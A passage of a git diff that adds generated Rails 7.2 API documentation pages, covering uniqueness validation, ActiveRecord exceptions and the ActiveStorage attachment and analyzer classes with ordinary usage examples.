    :case_sensitive - Looks for an exact match. Ignored by non-text columns. The default behavior respects the default database collation.

    +
  • +

    :allow_nil - If set to true, skips this validation if the attribute is nil (default is false).

    +
  • +

    :allow_blank - If set to true, skips this validation if the attribute is blank (default is false).

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
+ +

Concurrency and integrity

+ +

Using this validation method in conjunction with ActiveRecord::Base#save does not guarantee the absence of duplicate record insertions, because uniqueness checks on the application level are inherently prone to race conditions. For example, suppose that two users try to post a Comment at the same time, and a Comment’s title must be unique. At the database-level, the actions performed by these users could be interleaved in the following manner:

+ +
             User 1                 |               User 2
+------------------------------------+--------------------------------------
+# User 1 checks whether there's     |
+# already a comment with the title  |
+# 'My Post'. This is not the case.  |
+SELECT * FROM comments              |
+WHERE title = 'My Post'             |
+                                    |
+                                    | # User 2 does the same thing and also
+                                    | # infers that their title is unique.
+                                    | SELECT * FROM comments
+                                    | WHERE title = 'My Post'
+                                    |
+# User 1 inserts their comment.     |
+INSERT INTO comments                |
+(title, content) VALUES             |
+('My Post', 'hi!')                  |
+                                    |
+                                    | # User 2 does the same thing.
+                                    | INSERT INTO comments
+                                    | (title, content) VALUES
+                                    | ('My Post', 'hello!')
+                                    |
+                                    | # ^^^^^^
+                                    | # Boom! We now have a duplicate
+                                    | # title!
+
+ +

The best way to work around this problem is to add a unique index to the database table using connection.add_index. In the rare case that a race condition occurs, the database will guarantee the field’s uniqueness.

+ +

When the database catches such a duplicate insertion, ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid exception. You can either choose to let this error propagate (which will result in the default Rails exception page being shown), or you can catch it and restart the transaction (e.g. by telling the user that the title already exists, and asking them to re-enter the title). This technique is also known as optimistic concurrency control.

+ +

The bundled ActiveRecord::ConnectionAdapters distinguish unique index constraint errors from other types of database errors by throwing an ActiveRecord::RecordNotUnique exception. For other adapters you will have to parse the (database-specific) exception message to detect such a case.

+ +

The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/validations/uniqueness.rb, line 291
+      def validates_uniqueness_of(*attr_names)
+        validates_with UniquenessValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ValueTooLong.html b/src/7.2/classes/ActiveRecord/ValueTooLong.html new file mode 100644 index 0000000000..4ebe894b9f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ValueTooLong.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ValueTooLong +layout: default +--- +
+ +
+
+ +
+ +

Raised when a record cannot be inserted or updated because a value too long for a column type.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/WrappedDatabaseException.html b/src/7.2/classes/ActiveRecord/WrappedDatabaseException.html new file mode 100644 index 0000000000..fc3ad1609a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/WrappedDatabaseException.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::WrappedDatabaseException +layout: default +--- +
+ +
+
+ +
+ +

Defunct wrapper class kept for compatibility. StatementInvalid wraps the original exception now.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage.html b/src/7.2/classes/ActiveStorage.html new file mode 100644 index 0000000000..6af78d241d --- /dev/null +++ b/src/7.2/classes/ActiveStorage.html @@ -0,0 +1,658 @@ +--- +title: ActiveStorage +layout: default +--- +
+ +
+
+ +
+ +

Active Storage

+ +

Active Storage makes it simple to upload and reference files in cloud services like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage, and attach those files to Active Records. Supports having one main service and mirrors in other services for redundancy. It also provides a disk service for testing or local deployments, but the focus is on cloud storage.

+ +

Files can be uploaded from the server to the cloud or directly from the client to the cloud.

+ +

Image files can furthermore be transformed using on-demand variants for quality, aspect ratio, size, or any other MiniMagick or Vips supported transformation.

+ +

You can read more about Active Storage in the Active Storage Overview guide.

+ +

Compared to other storage solutions

+ +

A key difference to how Active Storage works compared to other attachment solutions in Rails is through the use of built-in Blob and Attachment models (backed by Active Record). This means existing application models do not need to be modified with additional columns to associate with files. Active Storage uses polymorphic associations via the Attachment join model, which then connects to the actual Blob.

+ +

Blob models store attachment metadata (filename, content-type, etc.), and their identifier key in the storage service. Blob models do not store the actual binary data. They are intended to be immutable in spirit. One file, one blob. You can associate the same blob with multiple application models as well. And if you want to do transformations of a given Blob, the idea is that you’ll simply create a new one, rather than attempt to mutate the existing one (though of course you can delete the previous version later if you don’t need it).

+ +

Installation

+ +

Run bin/rails active_storage:install to copy over active_storage migrations.

+ +

NOTE: If the task cannot be found, verify that require "active_storage/engine" is present in config/application.rb.

+ +

Examples

+ +

One attachment:

+ +
class User < ApplicationRecord
+  # Associates an attachment and a blob. When the user is destroyed they are
+  # purged by default (models destroyed, and resource files deleted).
+  has_one_attached :avatar
+end
+
+# Attach an avatar to the user.
+user.avatar.attach(io: File.open("/path/to/face.jpg"), filename: "face.jpg", content_type: "image/jpeg")
+
+# Does the user have an avatar?
+user.avatar.attached? # => true
+
+# Synchronously destroy the avatar and actual resource files.
+user.avatar.purge
+
+# Destroy the associated models and actual resource files async, via Active Job.
+user.avatar.purge_later
+
+# Does the user have an avatar?
+user.avatar.attached? # => false
+
+# Generate a permanent URL for the blob that points to the application.
+# Upon access, a redirect to the actual service endpoint is returned.
+# This indirection decouples the public URL from the actual one, and
+# allows for example mirroring attachments in different services for
+# high-availability. The redirection has an HTTP expiration of 5 min.
+url_for(user.avatar)
+
+class AvatarsController < ApplicationController
+  def update
+    # params[:avatar] contains an ActionDispatch::Http::UploadedFile object
+    Current.user.avatar.attach(params.require(:avatar))
+    redirect_to Current.user
+  end
+end
+
+ +

Many attachments:

+ +
class Message < ApplicationRecord
+  has_many_attached :images
+end
+
+ +
<%= form_with model: @message, local: true do |form| %>
+  <%= form.text_field :title, placeholder: "Title" %><br>
+  <%= form.text_area :content %><br><br>
+
+  <%= form.file_field :images, multiple: true %><br>
+  <%= form.submit %>
+<% end %>
+
+ +
class MessagesController < ApplicationController
+  def index
+    # Use the built-in with_attached_images scope to avoid N+1
+    @messages = Message.all.with_attached_images
+  end
+
+  def create
+    message = Message.create! params.require(:message).permit(:title, :content, images: [])
+    redirect_to message
+  end
+
+  def show
+    @message = Message.find(params[:id])
+  end
+end
+
+ +

Variation of image attachment:

+ +
<%# Hitting the variant URL will lazy transform the original blob and then redirect to its new service location %>
+<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>
+
+ +

File serving strategies

+ +

Active Storage supports two ways to serve files: redirecting and proxying.

+ +

Redirecting

+ +

Active Storage generates stable application URLs for files which, when accessed, redirect to signed, short-lived service URLs. This relieves application servers of the burden of serving file data. It is the default file serving strategy.

+ +

When the application is configured to proxy files by default, use the rails_storage_redirect_path and _url route helpers to redirect instead:

+ +
<%= image_tag rails_storage_redirect_path(@user.avatar) %>
+
+ +

Proxying

+ +

Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.

+ +

You can configure Active Storage to use proxying by default:

+ +
# config/initializers/active_storage.rb
+Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy
+
+ +

Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of rails_storage_proxy_path and rails_storage_proxy_url.

+ +
<%= image_tag rails_storage_proxy_path(@user.avatar) %>
+
+ +

Direct uploads

+ +

Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.

+ +

Direct upload installation

+
  1. +

    Include the Active Storage JavaScript in your application's JavaScript bundle or reference it directly.

    + +

    Requiring directly without bundling through the asset pipeline in the application HTML with autostart:

    + +
    <%= javascript_include_tag "activestorage" %>
    +
    + +

    Requiring via importmap-rails without bundling through the asset pipeline in the application HTML without autostart as ESM:

    + +
    # config/importmap.rb
    +pin "@rails/activestorage", to: "activestorage.esm.js"
    +
    + +
    <script type="module-shim">
    +  import * as ActiveStorage from "@rails/activestorage"
    +  ActiveStorage.start()
    +</script>
    +
    + +

    Using the asset pipeline:

    + +
    //= require activestorage
    +
    + +

    Using the npm package:

    + +
    import * as ActiveStorage from "@rails/activestorage"
    +ActiveStorage.start()
    +
    +
  2. +

    Annotate file inputs with the direct upload URL.

    + +
    <%= form.file_field :attachments, multiple: true, direct_upload: true %>
    +
    +
  3. +

    That's it! Uploads begin upon form submission.

    +
+ +

Direct upload JavaScript events

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Event nameEvent targetEvent data (β€˜event.detail`)Description
β€˜direct-uploads:start`β€˜<form>`NoneA form containing files for direct upload fields was submitted.
β€˜direct-upload:initialize`β€˜<input>`β€˜{id, file}`Dispatched for every file after form submission.
β€˜direct-upload:start`β€˜<input>`β€˜{id, file}`A direct upload is starting.
β€˜direct-upload:before-blob-request`β€˜<input>`β€˜{id, file, xhr}`Before making a request to your application for direct upload metadata.
β€˜direct-upload:before-storage-request`β€˜<input>`β€˜{id, file, xhr}`Before making a request to store a file.
β€˜direct-upload:progress`β€˜<input>`β€˜{id, file, progress}`As requests to store files progress.
β€˜direct-upload:error`β€˜<input>`β€˜{id, file, error}`An error occurred. An β€˜alert` will display unless this event is canceled.
β€˜direct-upload:end`β€˜<input>`β€˜{id, file}`A direct upload has ended.
β€˜direct-uploads:end`β€˜<form>`NoneAll direct uploads have ended.
+ +

License

+ +

Active Storage is released under the MIT License.

+ +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + gem_version() + +

+ + +
+

Returns the currently loaded version of Active Storage as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/gem_version.rb, line 5
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + version() + +

+ + +
+

Returns the currently loaded version of Active Storage as a Gem::Version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/version.rb, line 7
+  def self.version
+    gem_version
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/AnalyzeJob.html b/src/7.2/classes/ActiveStorage/AnalyzeJob.html new file mode 100644 index 0000000000..fac2c8d1d8 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/AnalyzeJob.html @@ -0,0 +1,113 @@ +--- +title: ActiveStorage::AnalyzeJob +layout: default +--- +
+ +
+
+ +
+ +

Provides asynchronous analysis of ActiveStorage::Blob records via ActiveStorage::Blob#analyze_later.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + perform(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/jobs/active_storage/analyze_job.rb, line 10
+  def perform(blob)
+    blob.analyze
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer.html b/src/7.2/classes/ActiveStorage/Analyzer.html new file mode 100644 index 0000000000..2daa379f0f --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer.html @@ -0,0 +1,439 @@ +--- +title: ActiveStorage::Analyzer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Analyzer

+ +

This is an abstract base class for analyzers, which extract metadata from blobs. See ActiveStorage::Analyzer::VideoAnalyzer for an example of a concrete subclass.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + blob
+ + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+

Implement this method in a concrete subclass. Have it return true when given a blob from which the analyzer can extract metadata.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 13
+    def self.accept?(blob)
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + analyze_later?() + +

+ + +
+

Implement this method in concrete subclasses. It will determine if blob analysis should be done in a job or performed inline. By default, analysis is enqueued in a job.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 19
+    def self.analyze_later?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 23
+    def initialize(blob)
+      @blob = blob
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + metadata() + +

+ + +
+

Override this method in a concrete subclass. Have it return a Hash of metadata.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 28
+    def metadata
+      raise NotImplementedError
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + download_blob_to_tempfile(&block) + +

+ + +
+

Downloads the blob to a tempfile on disk. Yields the tempfile.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 34
+      def download_blob_to_tempfile(&block) # :doc:
+        blob.open tmpdir: tmpdir, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instrument(analyzer, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 46
+      def instrument(analyzer, &block) # :doc:
+        ActiveSupport::Notifications.instrument("analyze.active_storage", analyzer: analyzer, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + logger() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 38
+      def logger # :doc:
+        ActiveStorage.logger
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tmpdir() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer.rb, line 42
+      def tmpdir # :doc:
+        Dir.tmpdir
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer/AudioAnalyzer.html b/src/7.2/classes/ActiveStorage/Analyzer/AudioAnalyzer.html new file mode 100644 index 0000000000..75ba0ce930 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer/AudioAnalyzer.html @@ -0,0 +1,165 @@ +--- +title: ActiveStorage::Analyzer::AudioAnalyzer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Audio Analyzer

+ +

Extracts duration (seconds), bit_rate (bits/s), sample_rate (hertz) and tags (internal metadata) from an audio blob.

+ +

Example:

+ +
ActiveStorage::Analyzer::AudioAnalyzer.new(blob).metadata
+# => { duration: 5.0, bit_rate: 320340, sample_rate: 44100, tags: { encoder: "Lavc57.64", ... } }
+
+ +

This analyzer requires the FFmpeg system library, which is not provided by Rails.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/audio_analyzer.rb, line 15
+    def self.accept?(blob)
+      blob.audio?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + metadata() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/audio_analyzer.rb, line 19
+    def metadata
+      { duration: duration, bit_rate: bit_rate, sample_rate: sample_rate, tags: tags }.compact
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer.html b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer.html new file mode 100644 index 0000000000..a11fa75173 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer.html @@ -0,0 +1,192 @@ +--- +title: ActiveStorage::Analyzer::ImageAnalyzer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Image Analyzer

+ +

This is an abstract base class for image analyzers, which extract width and height from an image blob.

+ +

If the image contains EXIF data indicating its angle is 90 or 270 degrees, its width and height are swapped for convenience.

+ +

Example:

+ +
ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick.new(blob).metadata
+# => { width: 4104, height: 2736 }
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/image_analyzer.rb, line 15
+    def self.accept?(blob)
+      blob.image?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + metadata() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/image_analyzer.rb, line 19
+    def metadata
+      read_image do |image|
+        if rotated_image?(image)
+          { width: image.height, height: image.width }
+        else
+          { width: image.width, height: image.height }
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/ImageMagick.html b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/ImageMagick.html new file mode 100644 index 0000000000..14ac666ff8 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/ImageMagick.html @@ -0,0 +1,113 @@ +--- +title: ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick +layout: default +--- +
+ +
+
+ +
+ +

This analyzer relies on the third-party MiniMagick gem. MiniMagick requires the ImageMagick system library.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/image_analyzer/image_magick.rb, line 7
+    def self.accept?(blob)
+      super && ActiveStorage.variant_processor == :mini_magick
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/Vips.html b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/Vips.html new file mode 100644 index 0000000000..20f886eb59 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer/ImageAnalyzer/Vips.html @@ -0,0 +1,126 @@ +--- +title: ActiveStorage::Analyzer::ImageAnalyzer::Vips +layout: default +--- +
+ +
+
+ +
+ +

This analyzer relies on the third-party ruby-vips gem. Ruby-vips requires the libvips system library.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ROTATIONS=/Right-top|Left-bottom|Top-right|Bottom-left/
+ + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb, line 7
+    def self.accept?(blob)
+      super && ActiveStorage.variant_processor == :vips
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Analyzer/VideoAnalyzer.html b/src/7.2/classes/ActiveStorage/Analyzer/VideoAnalyzer.html new file mode 100644 index 0000000000..05df007ca7 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Analyzer/VideoAnalyzer.html @@ -0,0 +1,182 @@ +--- +title: ActiveStorage::Analyzer::VideoAnalyzer +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Video Analyzer

+ +

Extracts the following from a video blob:

+
  • +

    Width (pixels)

    +
  • +

    Height (pixels)

    +
  • +

    Duration (seconds)

    +
  • +

    Angle (degrees)

    +
  • +

    Display aspect ratio

    +
  • +

    Audio (true if file has an audio channel, false if not)

    +
  • +

    Video (true if file has an video channel, false if not)

    +
+ +

Example:

+ +
ActiveStorage::Analyzer::VideoAnalyzer.new(blob).metadata
+# => { width: 640.0, height: 480.0, duration: 5.0, angle: 0, display_aspect_ratio: [4, 3], audio: true, video: true }
+
+ +

When a video’s angle is 90, -90, 270 or -270 degrees, its width and height are automatically swapped for convenience.

+ +

This analyzer requires the FFmpeg system library, which is not provided by Rails.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + accept?(blob) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/video_analyzer.rb, line 25
+    def self.accept?(blob)
+      blob.video?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + metadata() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/analyzer/video_analyzer.rb, line 29
+    def metadata
+      { width: width, height: height, duration: duration, angle: angle, display_aspect_ratio: display_aspect_ratio, audio: audio?, video: video? }.compact
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Attached.html b/src/7.2/classes/ActiveStorage/Attached.html new file mode 100644 index 0000000000..31aba7b3f9 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Attached.html @@ -0,0 +1,185 @@ +--- +title: ActiveStorage::Attached +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Attached

+ +

Abstract base class for the concrete ActiveStorage::Attached::One and ActiveStorage::Attached::Many classes that both provide proxy access to the blob association for a record.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + name
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(name, record) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached.rb, line 13
+    def initialize(name, record)
+      @name, @record = name, record
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Attached/Many.html b/src/7.2/classes/ActiveStorage/Attached/Many.html new file mode 100644 index 0000000000..72066219db --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Attached/Many.html @@ -0,0 +1,367 @@ +--- +title: ActiveStorage::Attached::Many +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Attached Many

+ +

Decorated proxy object representing of multiple attachments to a model.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + attach(*attachables) + +

+ + +
+

Attaches one or more attachables to the record.

+ +

If the record is persisted and unchanged, the attachments are saved to the database immediately. Otherwise, they’ll be saved to the DB when the record is next saved.

+ +
document.images.attach(params[:images]) # Array of ActionDispatch::Http::UploadedFile objects
+document.images.attach(params[:signed_blob_id]) # Signed reference to blob from direct upload
+document.images.attach(io: File.open("/path/to/racecar.jpg"), filename: "racecar.jpg", content_type: "image/jpeg")
+document.images.attach([ first_blob, second_blob ])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 51
+    def attach(*attachables)
+      record.public_send("#{name}=", blobs + attachables.flatten)
+      if record.persisted? && !record.changed?
+        return if !record.save
+      end
+      record.public_send("#{name}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attached?() + +

+ + +
+

Returns true if any attachments have been made.

+ +
class Gallery < ApplicationRecord
+  has_many_attached :photos
+end
+
+Gallery.new.photos.attached? # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 66
+    def attached?
+      attachments.any?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attachments() + +

+ + +
+

Returns all the associated attachment records.

+ +

All methods called on this proxy object that aren’t listed here will automatically be delegated to attachments.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 32
+    def attachments
+      change.present? ? change.attachments : record.public_send("#{name}_attachments")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blobs() + +

+ + +
+

Returns all attached blobs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 37
+    def blobs
+      change.present? ? change.blobs : record.public_send("#{name}_blobs")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + detach + +

+ + +
+

Deletes associated attachments without purging them, leaving their respective blobs in place.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 25
+    delegate :detach, to: :detach_many
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge + +

+ + +
+

Directly purges each associated attachment (i.e. destroys the blobs and attachments and deletes the files on the service).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 13
+    delegate :purge, to: :purge_many
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_later + +

+ + +
+

Purges each associated attachment through the queuing system.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/many.rb, line 19
+    delegate :purge_later, to: :purge_many
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Attached/Model.html b/src/7.2/classes/ActiveStorage/Attached/Model.html new file mode 100644 index 0000000000..6251908993 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Attached/Model.html @@ -0,0 +1,691 @@ +--- +title: ActiveStorage::Attached::Model +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Attached Model

+ +

Provides the class-level DSL for declaring an Active Record model’s attachments.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + *_attachment + +

+ + +
+

Returns the attachment for the has_one_attached.

+ +
User.last.avatar_attachment
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_attachments + +

+ + +
+

Returns the attachments for the has_many_attached.

+ +
Gallery.last.photos_attachments
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_blob + +

+ + +
+

Returns the blob for the has_one_attached attachment.

+ +
User.last.avatar_blob
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + *_blobs + +

+ + +
+

Returns the blobs for the has_many_attached attachments.

+ +
Gallery.last.photos_blobs
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + has_many_attached(name, dependent: :purge_later, service: nil, strict_loading: false) + +

+ + +
+

Specifies the relation between multiple attachments and the model.

+ +
class Gallery < ApplicationRecord
+  has_many_attached :photos
+end
+
+ +

There are no columns defined on the model side, Active Storage takes care of the mapping between your records and the attachments.

+ +

To avoid N+1 queries, you can include the attached blobs in your query like so:

+ +
Gallery.where(user: Current.user).with_attached_photos
+
+ +

Under the covers, this relationship is implemented as a has_many association to a ActiveStorage::Attachment record and a has_many-through association to a ActiveStorage::Blob record. These associations are available as photos_attachments and photos_blobs. But you shouldn’t need to work with these associations directly in most circumstances.

+ +

The system has been designed to having you go through the ActiveStorage::Attached::Many proxy that provides the dynamic proxy to the associations and factory methods, like #attach.

+ +

The :dependent option defaults to :purge_later. This means the attachments will be purged (i.e. destroyed) in the background whenever the record is destroyed. If an ActiveJob::Backend queue adapter is not set in the application set it to purge instead.

+ +

If you need the attachment to use a service which differs from the globally configured one, pass the :service option. For example:

+ +
class Gallery < ActiveRecord::Base
+  has_many_attached :photos, service: :s3
+end
+
+ +

:service can also be specified as a proc, and it will be called with the model instance:

+ +
class Gallery < ActiveRecord::Base
+  has_many_attached :photos, service: ->(gallery) { gallery.personal? ? :personal_s3 : :s3 }
+end
+
+ +

If you need to enable strict_loading to prevent lazy loading of attachments, pass the :strict_loading option. You can do:

+ +
class Gallery < ApplicationRecord
+  has_many_attached :photos, strict_loading: true
+end
+
+ +

Note: Active Storage relies on polymorphic associations, which in turn store class names in the database. When renaming classes that use has_many, make sure to also update the class names in the active_storage_attachments.record_type polymorphic type column of the corresponding rows.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/attached/model.rb, line 206
+      def has_many_attached(name, dependent: :purge_later, service: nil, strict_loading: false)
+        ActiveStorage::Blob.validate_service_configuration(service, self, name) unless service.is_a?(Proc)
+
+        generated_association_methods.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          # frozen_string_literal: true
+          def #{name}
